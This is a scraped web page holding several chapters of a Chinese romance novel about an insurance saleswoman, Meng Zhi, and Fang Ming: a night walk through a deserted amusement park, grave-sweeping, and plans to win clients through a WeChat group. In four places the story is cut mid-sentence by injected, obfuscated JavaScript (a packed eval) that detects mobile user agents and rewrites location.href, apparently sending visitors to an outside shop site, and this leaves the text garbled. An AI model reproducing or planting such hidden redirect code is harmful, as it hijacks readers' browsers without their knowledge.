l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16710472|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀期待,以为下一秒突然会有几个人从后车厢里跳出来,冲到她面前咨询保险。不过方铭又开始往公园深处走去,她只好跟上。 她没话找话地说:“我小时候想学吉他,我姥姥还不太情愿,就没送我去学。要不然,早成大师了。” 方铭回头看了她一眼,目光相当温柔湿润。他放缓了脚步,两人谁都不再说话。方铭的背影像一个高大挺拔的黑影,肩膀宽阔有力。走着走着,孟至又在盘算,要是这个黑影能背着自己走该多好? 方铭突然停了。孟至没能及时刹住,急忙用两手垫在他后背上,才勉强稳住。她往后退了一步,方铭转过身来,平静地说:“别随便和陌生人搭讪。” 顿了一下,他加了一句:“尤其是陌生男人。” “你不是要问高端医疗险吗?”孟至东张西望,“他们人呢?还是说,这次先由你记下来,回去转达给他们?就像你帮我记医生说的术后护理事项?” 以往的从业经历中,孟至在各式各样的地点约见客户,包括但不限于咖啡厅、肯德基、写字楼底层的沙发、街边免费的阳伞桌椅,但从没在树林里约人谈保险。她忍不住说了一句:“还说人家别的陌生男人呢,我看你更吓人。” 方铭石化在原地,垂眼静静向下看着孟至,不怒自威的气场无声地压制着她。孟至咳了一声,说:“尽管问,买不买没关系。哦对了,本来我现在也没有从业资格,如果急着买,就只能先去买别家的了。” “是想先了解一下,然后看看要不要推荐我姐买,就是我帮忙看店的那个姐姐。”方铭犹豫了一下,又说,“也可能推荐给长辈买。” “首先要看被保险人的年龄,越年轻的话,保费越便宜一点。还要看你想买什么等级的保障,是只报销住院费用,还是连门诊费用也包括?医院范围呢,是仅限公立医院国际部,还是扩展到私立医院?”孟至说起保险,双眼开始焕发神采,平时晶亮剔透的眼仁,在此时多了一层锋利而耀眼的、剑刃般的光芒。她的语调也变得充满诱导性,音色甜蜜而亲切,与平时判若两人。 方铭的眼神出现了恍惚和震荡的迹象。他轻声问:“好一点的是什么样?” “那我推荐最常见的组合,保障范围覆盖大陆的住院加门诊费用,含私立医院,并且有中等的免赔额。可以直付哟,不需要自己先垫付费用再理赔,只需要直接出示保险卡,保险公司会跟医院结算的。”孟至甩了一下红发,悠哉地抬头看着他,“再高级一点,就是住院加门诊,再加体检和牙科也给报,涵盖全球医院,包括那些很贵的私立医院。免赔额就低一点,甚至为0。这样的保费就比较贵啦。” 方铭看着她光华流溢的眼睛,低声说:“好,我会转达的。既然你还没有执业资格,就之后再谈。” 孟至奇怪地说:“咦,那你约我出来谈什么?” 他指着漆黑的公园说:“来逛逛,不好吗?” “哦。”孟至看向四周。公园深处,怪树嶙峋,没有活人的动静,只有北风呼啸而来,吹得树木摇动作响。她忽然觉得这环境充满了未知的神秘和危险,像诡异的梦境一样诱人。 方铭慢慢靠近过来,他的眼睛里正在燃起热切的黑色火焰。 28. 梦核游乐场 黑暗中,道路两侧的树木全都伸着手臂,看起来就像魔法世界的禁林。孟至有点后悔,今天出门前应该请赛罗有偿抽取塔罗牌,看看此行是吉是凶?她不太信任地看了方铭一眼,警惕地说:“大晚上的逛公园?” “你怕我?”方铭低头看着她,“我不是面的吗?能把你怎么样?” 孟至一想,说:“也是。” 方铭一口气没有抽上来,闷头往前走去。孟至跟在他旁边,一边东张西望,一边胡言乱语:“方啊,你今天穿得真立整,上身黑下身灰,这种搭配行,显得不那么面了。” 见他不吭声,孟至又说:“你是不是想演霸总啊?你是不是想吸引我的注意,再对我轻蔑一笑?” 方铭回头想说什么,结果一脚踏空了一个台阶。孟至大笑起来:“好啊,小方,你为了吸引我的注意,竟然不惜使出这种手段。你摔倒了,我就公主抱你?” “我什么时候摔倒了?”方铭的耳朵又开始泛起粉红。 就在孟至反唇相讥之前,公园里突然亮灯了。在他们头顶,路灯一盏接一盏地亮起来,就像橘色火光的传递,一直将灯光传到视线尽头。光明弥散在他们周围,黑暗被驱散到结界之外。一切突然有了色彩,这画面如同童话,让孟至哇地一声感叹出来。她抬头看着一团团橘子般的灯光,而方铭在看着她。 她带头像远处跑去,好像情不自禁地跟随着光的接力。方铭追了上来,孟至放慢脚步,两人一起走着。 孟至亲切地问:“家里暖气烧得怎么样?”那样子就像一个领导深入到群众家里走访。 方铭配合地说:“挺好的,达到了官方规定的18摄氏度室温标准。你家呢?” “我自己家里挺热的,28度!”孟至将双手插进大衣口袋,“但我父母家有点冷,才21度!”想到父母,阴云迅速笼罩了孟至,她不再说话了。 他敏感地看了一眼孟至,无声无息地靠近过来:“在想什么?” 孟至沉默着踢飞一片树叶,半天才说:“我不知道我妈以后身体会怎么样,又能撑多少年。反正吧,我不走了。”她隐约觉得有一点后悔,如果当初一早就决定留在老家,或许根本就不会和方铭错过。 现在,方铭走在她的身边,她却觉得彼此的心离得很远。他不冷不热,似乎已经把孟至划分为熟人。他又忽近忽远,某些瞬间令孟至琢磨不透。 他真的只是想争个胜负、让孟至对他“爱而不得”吗? “留在老家,”方铭忽然说,“是你真实的愿望吗?” 孟至打起精神,虚伪地一笑:“你说呢?” “虽然很希望你留在老家,但如果这是违背你本心的,就还是要劝你三思。”方铭平视着道路前方,始终不看孟至,“你可能最近受了很大的打击,家人生病让你觉得人生苦短,你会有恐惧感。你害怕时间一下就过去了,有一天会失去亲人。” 鼻子里传来强烈的酸痛感,孟至眼眶发热,差点哭了出来。自从刘校长住院以来,她的心几乎被恐惧摧毁。然而,为了维持自己潇洒的形象,孟至还是把眼泪逼退了。她低下头,把下半张脸埋进围巾里,瓮声瓮气地说:“你在这算命呢?还说得头头是道的。” 方铭依旧没有看她,继续说道:“但是,正是因为人生苦短,所以你自己的人生也很珍贵。还是要做一点自己想做的事。” 孟至故作嫌弃地看了他一眼:“小小年纪,心事这么重。” “不说了,行不行?”方铭温和地笑了一下,“不是逛公园吗?” 孟至指着树丛后面隐隐约约的轮廓:“游乐场。”她带头走上林间小路,走向那片空无一人的游乐区。迎面先撞上丛林狩猎场,不少小车停在滑轨上。轨道将老虎、豹子、长颈鹿之流的塑像围在中间,孟至依稀记得游客坐在滑行的小车上,绕着猎物兜圈,如果用枪打中塑像,塑像就会呲水。 现在这片狩猎场似乎被废弃了,动物塑像全部掉漆,材质老化泛白。场子上方支着黑色的棚顶,但那黑色纱帐已经破烂不堪,一条一条黑纱随风飘荡着,就像哭灵的鬼棚一样。 “快看那个豹子。”孟至给了方铭一杵子,“它的眼睛在盯着你冒绿光——” 方铭微笑着看着孟至,好像觉得她很好玩。孟至改口道:“喂,快看你旁边。”方铭还是盯着孟至,脸上带着薄薄的笑意。孟至幽幽地说:“有个人头悬在那里,在看你呢——” 他好像费了很大劲才收回铺设在孟至脸上的目光,转头往旁边看了一眼,乖巧地说:“看到了,来找你的,是你帮忙操办过葬礼的逝者。” 孟至双目圆睁,突然后背竖起一层汗毛。她立刻把方铭留在身后作为盾牌,自己往前跑去,一直跑到浑身发热才猛地停下。抬头一看,她差点跳了起来。 一个巨大的齐天大圣立在她面前,几乎遮天蔽日。孟至的眼睛才刚跟大圣的底座平齐,目光顺着它往上看,只见那大圣左手绕过右脸旁边,搭在眉骨上遮阳,右手擎着一根金箍棒,棒子中间还断过,又给焊到一起了。猴脸上那两道眉毛向下耷拉,且和眼睛离得很远,显得表情十分惊奇和意外。 为了更好地瞻仰这雕像,孟至后退两步,撞在身后一具温热而结实的躯体上。方铭顺势扶住她的胳膊肘,还一个劲往前挺胸,好像要给她靠着。她有些心猿意马了。 唰地一下,两盏大灯忽然亮起,白光从高处打下来,就像妖精要将人收走。原来那大灯是绑在树上的。孟至下意识地躲避着光束,接着一圈彩灯又亮起来,将大圣围在圈子中央。那让孟至想起了大圣给唐僧画的圈。叮铃一声,不知是何处打响了下课铃,顶天立地的大圣在原地缓缓旋转起来,带着一脸惊讶的表情不停转圈。 就像是一片积木王国突然活了,空中彩灯渐次点亮,由近及远。灯光所到之处,碰碰车、海盗船、旋转木马逐一被照出形影。所有设施一起活动起来,有的放出音效,有的灯光变幻,一时间全场热闹而诡异。 孟至迟滞地转动脑袋,震撼地看着方铭。他一摊手说:“可不是我开的开关,它们自己动起来的。” “不是你,更不是我啊。”孟至抱紧膀子,后悔没在腰上系一根麻绳。风越来越大,直往这件圣诞树大衣里灌。夜色浓郁,方圆一里内不见人迹,树林像被烟雾笼罩着,连空气都是凛冽的、褪色的。只有梦核游乐场在自顾自地营业,然而一切设施都陈旧而模糊。 方铭默默走到她身边,用自己为她挡风。大圣恰好慢慢转过身来,瞪眼俯视着这两人,满脸夸张的笑容。两人齐齐打了个哆嗦,不约而同地拔腿,将这泼猴留在身后。绕过海盗船,又发现路边有个熊大,趴在小木屋的屋顶上,露出大半个邪恶的脸,正在狰狞大笑。熊眼睛直勾勾地盯着人,熊嘴豁然洞开。 孟至啧了一声,斜眼看着方铭:“我记得你说我像熊大熊二?” “你现在没那么像了。”方铭扫了一眼她的大衣,“熊大熊二是棕熊吧?你穿这个更像黑熊。” 孟至不光没有生气,还笑眯眯地说:“你这么说,我就想起来有一次我去职场找内勤聊天,路过会议室,发现里面一屋子IT都穿着格子衫。我当时还把这事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732144|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当成笑话,到处给同事讲,笑了半天呢。结果一低头,发现我自己那天也穿着格子衫。” 空气短暂地沉静了。方铭看了一眼自己身上的黑色冲锋衣,这才后知后觉,如梦初醒。顿时,他又开始不停地眨眼,还抿起嘴来,故意不去看孟至。 孟至哼哼一笑,邪恶的目光在他脸上打转。也许是很久没有细致观察他的脸,孟至觉得他今天格外养眼。那张略显清冷的俊脸能扫清人身上积攒的疲惫,莫非是治愈系的? 一串一串的彩灯在空中交织,小路就像一条闪光的隧道。在隧道尽头,旋转木马静静地转动着,谁也不知道它在为谁工作。也许今晚一切都失控了,又或许今晚其实是一场梦境。想到这里,孟至感到淡淡的不舍,只希望此次见面并非幻梦。 “又在想什么呢,不说话了。”方铭轻轻捞起围巾的一端,替她重新绕到颈后,“玩不玩旋转木马?” “玩。”孟至听着他低沉而轻柔的嗓音,就像听一首节奏缓慢的催眠曲,听得整个人浮浮沉沉,飘然欲飞,想也不想就一口答应。 方铭跳上转盘,回头要伸手拉孟至,却发现孟至早就跳上来了。她找了一匹高头大马,单脚一蹬,另一条腿向后掠过,轻松地坐上马背。方铭坐在和她平行的一匹马上,更靠近内圈,以免遮挡她的视线。 木马穿过冷风,慢慢转着,孟至抱紧了竖杆,把头靠在上面。她的红色长发向后飘着,这让她看起来像暗黑森林中的魔女。方铭出声提醒道:“别睡着了,会感冒。” 孟至恩了一声,忍不住把脸转向他那一侧:“你说为什么这里没人呢?难道我们落入时间缝隙了?” “应该是的,”方铭煞有介事地说,“不信你看看手机,现在没有信号了。我们被世界遗忘了。”这设定让孟至浑身发麻,她被戳中爽点,极度舒适,点头称是。方铭看着别处,低声说:“你的吉他弹得很好。” 孟至故意把耳朵伸过去:“什么?说我弹吉他比你弹钢琴好?没有没有,你钢琴弹得也好。” 肉眼可见地,方铭的脸在变成粉红色,他几乎要在黑夜里冒烟了。目光移回到孟至脸上,又再度转开,方铭问:“有多好?” “我这音乐水平有限,说不上来呀。”孟至一边观察他压下来的眉毛和扁起的嘴唇,一边捏着下巴做深沉状,“你看过《猫和老鼠》吗?猫弹过一首钢琴曲,《猫的协奏曲》,你就和那个差不多。” 方铭对她侧目而视,愤愤不平。孟至笑着转过头,看着周围旋转的枯树林。一条林间小路分开两片树林,路上搭着铁架,就像一路的凉棚。无数发亮的银条从铁架上垂下来,在夜里闪着冰冷的七色光芒,就像一条悬空的河在晃动着波浪。 不假思索地,孟至跳下木马转盘,走上那条小路。方铭当然紧随其后,还嘟囔了一句:“慢点。我是面的,还要保护着一个女侠,不是太难为我了吗。”银条在他们周围飘摇着,道路尽头,梦境戛然而止,这里是游乐场的出口。再往前,已经能看见公园的另一个大门了。 在离开之前,孟至随意地回头看了一眼,却看见银条的华盖下面立着一块牌子:游乐园检修中,谢绝入内。 “……”她终于确信,这里不是时间缝隙。 方铭轻轻笑了一下,看起来很不经意地问了一句:“要回去陪你妈妈吗?” 孟至学着他的样子一摊手:“我妈叫我搬回自己家住了,她说她不喜欢被当成七老八十的病号。今晚结束了,玩得很开心,谢啦。” 方铭却挑起一侧眉毛,淡定地说:“谁说今晚结束了?” 29. 我吃我自己的醋 孟至袖着手说:“我要去吃晚饭了。” “巧了,我也是。”方铭提议道,“要不要一起?可以坐我的车。” 寒风一吹,孟至立刻同意了:“也行。还去那家小酒馆怎么样?就是长发男老板开的那家……” 两人走向停车的地方,方铭看了孟至一眼,面无表情地说:“然后你还和他一起玩狗?” “那得看他家的狗睡觉没有。”孟至解释道,“他那狗儿子遵守作息时刻表的。” 方铭轻轻哼了一声。孟至坐上副驾,小货车向酒馆驶去。今时不同往日,孟至不再罩着小方,但也拿不准自己和他的关系。车里的空气变得微妙难言。 她主动问道:“最近忙啥呢?我记得你用CAD帮人家画图?” “不是帮别人。”方铭单手打着方向盘,停顿了一下才说,“是给我自己画。” 孟至恍然大悟:“你成包工头了?”按照她的理解,小方去给人家做施工项目,成了负责人了。方铭笑了一下,说:“算了,以后再和你细说。” 货车停在老式居民楼下,小酒馆的门脸正大放光明。方铭解开安全带,一只手要去开车门。孟至突然凑过去,纳闷地问:“为什么以后再说?那现在呢?” “现在先问你一个问题。”方铭转过身来,慢慢逼近孟至,整个上身都要覆盖上来。孟至急忙往后靠,后背都抵在了车门上。方铭继续说:“你还罩我吗?” 孟至嗐了一声,一只手沿着发际线往下滑,慢条斯理地拢着头发。方铭的视线果然飘忽了一下。她不慌不忙地说:“我懂了,这顿算我请!” 眼前那张脸的每一道线条,都散发着寒烟般的冷意,脸颊边那一层薄薄的肉也变得严紧绷起来。孟至觉得他像一个出尘的神仙少年,整个人离凡世很远。他静静地盯着孟至,开口说道:“罩着我,不是请我吃饭的意思。” 孟至的两个眼睛弯了起来,让人看不清眼神。她就这样笑眯眯地伸出手,一把将他推回了驾驶位,自己从容不迫地下车去了。厚底靴子踩在地面上,每一步都冷酷富有弹性,只是气温太低,防滑纹路都冻硬了。方铭跟了过来,整个人又陷入忧郁的破碎感氛围中,浑身上下都在声声呼唤着孟至的关心。 不论局势如何,孟至有一种直觉:方铭还喜欢着她,他不是在和孟至博弈。 酒馆里供暖状况良好,一进门暖风扑面。小时候去亲友家里做客,都是先脱毛衣再脱毛裤,因此冬天时能互相串门的绝对都是密友。现在脱了外衣,外裤还是加绒的,孟至热得受不了,就直接在吧台边站着吃了一口。方铭和她并肩趴在吧台上,两人点了炸薯条和焗玉米,孟至又加了两杯苏打水。 虽然现在是十一月,店里却已经开始播放圣诞音乐,轻柔沙哑的歌声让孟至想到炉火和热红酒。这一刻她昏昏沉沉,不需要考虑工作、成就和刘校长的病。灵魂仿佛离开了躯体,去往西伯利亚的暴风雪中,瘫在森林小木屋的沙发里,听着火炉中木柴的噼啪燃烧声。 两人一时间无话可说,静静地隐身于昏黄的灯光中。孟至迅速吃完了自己那份,端起杯子喝了一口。加入冰块后,饮料的口感十分扎实,据说是低温环境下分子运动变缓,使得液体更加醇厚。孟至晃着杯子,对方铭说:“我要出去凉快一会儿。” 等她出了酒馆,发现方铭也跟了出来。整个晚上,他对孟至亦步亦趋,此时此刻他手里还拎着孟至的围巾。因为两家都离得不远,方铭索性把车留在了原地。 两人慢慢走着,方铭问:“你妈妈恢复得还好吗?寒冷气候容易引发冠心病,要注点意。” 孟至笑嘻嘻地说:“我妈住院那时候,隔壁病房有个年轻男大夫,对病人可负责了,可有同情心了。他给家属交待病情的时候,把自己说哭了!” 方铭哑然失笑:“太难过了?” 孟至说:“我觉得他性格应该和你有点像。” “……” 孟至又说:“隔壁的隔壁还有一个年轻男大夫,去办公室给主任汇报病情,说得头头是道,有鼻子有眼的,可流畅了。主任夸他技术进步了,结果一抬头,发现他照着书念呢。” 方铭低头笑了两声,浑厚的嗓音让孟至心尖直颤。她心不在焉地举起玻璃杯喝了一口,突然发现不对:“我把人家店里的杯子拿出来了!” 这下方铭开怀大笑,露出了晶莹的上排牙,整张脸就像雪后嫩芽初绽。孟至跑回到酒馆里,把杯子交给长发男,他带着飘忽的神情接了过来,还说了声谢谢。 孟至回到方铭身边,仰着头抱怨道:“你都不提醒我!” 方铭学着她的语调说:“我都不提醒你!” 路边的小超市还亮着灯,门口放着一口红色塑料澡盆,里面装着十几条大黑鱼。喇叭反复播放着一段娓娓道来的男声:“来吧朋友们,老板又去钓鱼了啊,现在天儿冷钓鱼遭罪,昨晚又没少钓,咱就卖八块钱一斤,都是水库鱼……” 超市深处则传来另一种喇叭声:“沙漠大西瓜,不甜你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16748570|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给我抱回来。” 直到他们走远,这两种声音才渐渐淡出。孟至突然觉得留在老家其实趣味良多。 走到孟至家楼下,两人站定了。方铭问:“回去准备干什么?” 孟至接过围巾,随口答道:“找朋友替我抽张塔罗牌,看看我最近再就业是不是顺利。我跟你说,我有个很厉害的朋友,脑瓜好使,人也好,我们聊得挺好的……” 方铭的嘴角放下去了。孟至打住话头,回想了一下,自己刚才又没说这人是男是女。她觉得小方喜怒无常,令人扫兴,就说:“回聊。”结果一转身就踩到背阴处的薄冰,厚底鞋有点打滑,孟至整个人往前扑去,就像双脚离地的大鸟张开翅膀扑腾,眼看就要跪在地上。 一只手从身后伸过来,拦腰截住了她,还把她往上拎了拎。另一只手也伸过来,护住她的肩膀。孟至整个人被圈在方铭怀里,背靠着那尊温暖的身躯,就像坐在加热座椅中。他弯下腰来,在孟至耳边问道:“那个人很有意思吗,姐姐?” 孟至被热气吹得直缩脖子,大脑空白了一下,才说:“那个……我又没说他有意思,他比我还是差一点。”为了强调自己对那人没意思,她又说:“这个人的脑瓜也没那么好使,挺大个人了还看奥特曼。而且他性格很像女生的,是大姐姐啦……” 隔着厚厚的衣服,孟至感觉方铭的手掐紧了。他皮笑肉不笑地问:“和我一样是面的?” “也,也不是……”孟至莫名其妙地说,“还是你更面,行了吧……” 方铭从鼻孔里长长地喷出一口气,忍耐地问:“你喜欢上他了?” 孟至挣扎着离开他的怀抱,转过身来一看,方铭又在用波光潋滟的眼睛看她,满脸都写着不甘心,好像在无声地控诉。 孟至笑了,忽然双手按着他的双肩,踮起脚尖,用鼻尖轻点了一下他的下巴。方铭像个雪雕一样站在原地,愣愣地看着她。孟至松开手,转身上楼去了。 浴室里的那一排鸭子被孟至供起来了,每只鸭子面前摆着一枝花。当初对鸭子许的愿望,似乎就快要实现了。 她满心杂念,几次想给斯基打电话,最后又按兵不动。她愿意和小方去各地探险,或是仅仅一起发呆。但她又有点担心,两人的背景截然不同,这样的精神共振能维持多久?他们会一直有说不完的话吗?在心动的第一个瞬间,她感受到的是胆怯。 就在她深度思考时,方铭发来一条微信:“如果你还愿意罩着我,我就告诉你我是谁。” 30. 我要包养你 深秋的早晨,孟至站在水池边刷牙,看着窗外的袅袅白烟。那不是炊烟,而是烧暖气烧出的烟。一里地之外,巨大的烟囱刷着红白相间的油漆,鲜明而崭新。白烟从烟囱顶端冒出,腾空而起,直冲云霄,就像一道笔直的白色河流。这说明近地面高压,今天是个晴天。 孟至拍了一张照片发给斯基,惋惜地说:“你看这烟囱里冒出来的,要都是金币该多好?” 稍加思索后,又追发了一句:“冒传单也行,把我保险一姐的旗号传播到各地,让所有人都来找我买保险!” 几天前,全市乡村集体焚烧秸秆,烧得暗无天日,天上似乎蒙着一层厚重的灰雾,太阳都是艳红色的,就像烧红的铁球。起初孟至下楼买菜,发现空中充满了刺鼻的焦味,还以为小区在烧垃圾。后来她发现无论走到哪里,都能闻到这种味道。满世界都飘荡着焦味,在离开老家多年以后,孟至终于想起来这是烧秸秆的味。 为了抓住今日难得的晴好天气,孟至决定出门一趟。在家里时,整座房子里静悄悄的,她却百无聊赖,百爪挠心。来到外面,到处都是人声和车笛声,她的心反而静下来了。 走着走着,她忽然灵光乍现,想出一套绝佳方案,于是激动地回复了方铭的上一条消息:“我知道了!我要先搞事业。如果那时候我有钱了,就可以包养你!” 她觉得自己终于找到了万全之策,得意到满脸放光。到那时,作为一个超级富婆,她会领着小白脸环游世界。到那时,两人可以纵情声色,只顾玩乐,不谈其他。如果收废品的买卖不景气,自己还能养着这小白脸!有钱的人生是多么自由,孟至几乎要为宏伟蓝图而歌唱。 接着,她重新审视小方的问题,突然发现他问的仅仅是孟至能不能罩着他。 很快,那边郁闷地回答:“姐姐,这都过了几天了,你才回答?” “这几天烧秸秆,雾霾太大,妨碍信号了。”孟至敷衍地说。 方铭小心地说:“那,就是你愿意罩着我了?” 孟至振振有词地说:“我先攒攒钱。” 方铭不说话了。孟至收起手机,猛地一甩头发,径自坐上了通往墓园的地铁。趁着现在还不算太冷,她要完成今年的最后一个大任务。 每年年底,孟至家都会给祖辈扫墓。今年孟至作为孟家特派员,只身前往墓园,为四个老人洒扫祭拜。往年,她觉得墓园偏远而阴湿,跑一次是个大工程。现在由于已在墓园工作过几个月,孟至踏进大门后胸有成竹,仿佛回到自己的老单位一样。 她驾轻就熟地走到存放室,在四个不同的架子上找到爷爷奶奶、姥姥姥爷的骨灰,依次把柜门打开,擦了灰尘,供了新的童男童女和金元宝。 长大后,孟至曾像说评书一样给斯基讲:你记不记得我小时候,冬天得了鼻炎,成天擦鼻涕,一天能用一卷纸。还得了哮喘,成天跟个风箱一样。我姥姥姥爷当然不会管啦,我爸回来看我,他那人就说话好听,人家跟我说,你这拖成慢性的不行啊,得去医院看啊!我心想你不领我去,难道我十岁小孩自己去? 斯基当时就说,难怪现在你爸妈再怎么给你做饭也没用,童年不幸福,以后一生总在反复咀嚼怨恨。斯基还说,有个作家说过,当我在最需要爱的时候,我从来不曾被深深的爱过,后来无论得到多少爱我都不以为然。 扫到姥爷的柜门,发现那格子位置很高,于是孟至搬来梯子。做着洒扫工作时,她时刻提醒自己是洗净的瓶子,切勿再怀有怨恨。但她悲哀地发现,自己最终对姥姥姥爷没有太多的怀念,只是保有一种理性的感激,为他们曾把她拉扯大。错过了爱的季节,再也无法对他们全心全意地爱。 但同时,她又察觉到如今自己心中的确充盈着爱意,那是对自己和对生活的爱意,令怨恨逐渐平息。 她的脑海中出现了一对模糊的影子,那两个人影在田野上跑着,彼此追逐和打闹着,看不清是谁。直到他们跑到一条废弃的铁轨旁,蓦然回头,她才看清原来那是小方和她自己的脸。 扔掉抹布和废纸后,孟至锁好最后一个格子,转身走出小楼。院子里阴风打转,她东张西望地看了一阵,没找到青龙和白虎的身影。却听见身后一道熟悉的声音喊:“小至!” 孟至回头一看,惊喜地说:“水冰月!” “……” 两人在九曲回廊里坐下,旁边有一块假山石,还有几只仙鹤雕塑,多少挡住了冷风。孟至说:“我来给四个老人扫墓,确切地说是擦墓。” 水冰月点了点头,平静地说:“我来给我父母擦墓。” 孟至顿了一下,轻轻地说:“幸好你还有个弟弟,在世上还有个亲人。” “我一直觉得你们风水师这行业挺有用。”水冰月主动拉着她的手,两人肩膀靠着肩膀。据水冰月说,她父亲去世时,弟弟还在外地念大学,继母则在外面跑生意,是她自己张罗着完成了遗体转运和冷藏手续。水冰月唏嘘地说:“如果当时能找一位殡葬师傅帮着安排后事,不就没那么难了?所以说,死人其实无所谓,这行能拯救活着的人。” “今年你来我家过年!”孟至拍了一下她的手臂,“我们俩挤一个床!” 水冰月说:“行。” 孟至又说:“我不做风水师这行了,我要回去做保险。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765088|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我那诊所里有不少正畸的患者,属于中产水平,”水冰月仗义地表示,“能不能当你的潜在客户群?” “多多益善。”孟至对她抛了个媚眼,又继续说道,“想想我当年做这行的初衷,我希望做点不一样的,真的能对人家有用的。不过咱们这里经济滞后,卖什么都不好卖,先开单再说吧。” 水冰月抱着膀子想了一阵,肯定地说:“对,要做点不一样的。不能光是闷头推销,要有个突破口。” 孟至咣咣拍着胸脯说:“我准备拿普惠保险作为引子。”这种保险赔的是医保报销之后的自费部分,防的是大病医疗支出,避免一个普通家庭被巨额支出拖垮。迎着水冰月赞美的目光,她继续咣咣拍着胸脯:“这种保险不是适合每个人,但它能帮到一些人,又能起到引流的作用,帮我获客。” 说完,像是突然发现了新大陆,孟至又咣咣拍了几下胸脯:“哎,你听!拍在锁骨下面,有回音!” 水冰月也来拍她的胸脯:“胸上方是骨头。你是不是瘦了?” 孟至解释道:“我的肉都长在大腿和后丘。”她的上身看起来十分纤细,以肚脐为界限,脂肪堆积在臀腿,线条像云朵一样充盈优美,每次洗澡她自己都要欣赏半天。 “对了,你知道C市孙姓群吗?”水冰月忽然想起一事,顿时双目大放光芒。 孟至露出一侧的尖牙,嫌弃地问:“宗族群啊?每天在群里问早安?” “不是宗族群,就是全C市姓孙的人,组了这个群。” “全C市所有姓孙的?”孟至大吃一惊,“那群里装得下?” “不是所有,但也得有几千号人。”水冰月神秘地传授道,“我之前看一个什么银行理财的销冠分享经验,她说她就是加入了C市孙姓群,在里面挖掘客户,然后这些客户再给她介绍新的客户……” “没错。”孟至拍着她的大腿说,“转介绍,是很重要的获客途径。” 水冰月爽朗地一挥手:“我看,你就想办法加入这个群算了!” 孟至双手握拳,坚毅地说:“你放心,就凭我睿智的大脑和雷霆的手段!”虽然完全没有展业的头绪,但孟至已然看见大把的金币在向自己娇笑。她掏出手机,给方铭留言:“我要有钱了!我马上就能包养你了!” 小方-开锁回收旧家具:“这么快???” 聊天记录显示,就在几小时之前,孟至还搪塞方铭,声称自己要再“攒攒钱”。 孟至士气高涨。告别水冰月以后,她觉得之后将要大展宏图,有海量工作要忙,不如今天先给自己放个假。于是她哼着歌,朝C市公园的方向踏歌而去。 31. 第一场雪 鬼火郎果然还在公园凉亭下练习电吉他,孟至笑嘻嘻地朝他走去时,眼看着他脑袋一顿一顿地打着节拍。孟至对他招呼一声:“杰克孙,忙着呢?” 鬼火郎毫不意外地扫了她一眼,见她此次如约前来华山论剑、果然践行了上一次的诺言,他的脸上流露出赞许和满意的神色。 孟至接过电吉他,也学着他的样子,不插音箱,直接弹奏起来。这是上次方铭用老会堂的钢琴弹奏的曲子,孟至弹得磕磕绊绊,加之音量微弱,听起来有种苟延残喘的感觉。鬼火郎忍不住说:“你就不能找个谱子吗?” “我这是重新编曲呢。”孟至又弹了几下,索性把吉他还给他,“我在想,怎么才能卖出更多的保险?” “不知道。” “我需要很多的钱,好包养小白脸。”孟至坚定地说。 鬼火郎见怪不怪地说:“不就是上次带你钻小树林的那个高个子吗?” “别瞎说,我们是去参加游乐园的内测了。”孟至挑了一下眉毛。见鬼火郎醉心音乐,对她爱搭不理,孟至忍不住朝他虚踢了一脚:“哎,我今天听朋友说,咱们这儿有个C市孙姓群,厉害不?没听过吧?我要是能加到C市百家姓群该多好?” 鬼火郎埋头扒拉着琴弦,云淡风轻地说:“C市孙姓群,我在里面。” “啥?”孟至怀疑地看着他,“你说的是你的家族群吧?我说的那个,是几千人的大群!” “C市孙姓群。”鬼火郎重复了一边,“你忘了我姓孙?” 孟至一拍大腿:“快把我拉进去!卖出第一单以后,我给你买一把新吉他!” “成交。”鬼火郎掏出手机,先加了孟至的微信,再把她拉进传说中的孙姓群。孟至一进到群里,就去翻群成员的名单,看得她叹为观止。群成员都将群昵称改为真名,清一色的孙某某。孟至稍加思索,把自己的名字改成了孙行者,又找了一张部落格奶茶店的门脸照片当头像。 鬼火郎自顾自地练琴去了,不再管群里的事。孟至自己引荐自己:“大家好,我这里有奶茶店的优惠券,需要的朋友可以随时来找我领。”此言不虚,孟至和部落格的老板混熟后,确实从那里领过一些优惠券,时常分给别人用,作为广告宣传。 群主露面了:“欢迎行者!”后面是一串玫瑰花的表情。 群主又帮着强调:“请大家添加行者,都来行者这里领优惠券!” “没错没错,”孟至疯狂打字,“想优惠来找我,省钱跟我走!我这里还有不少好东西,以后一一分享给大家。” 群主发了一排大拇指的表情。 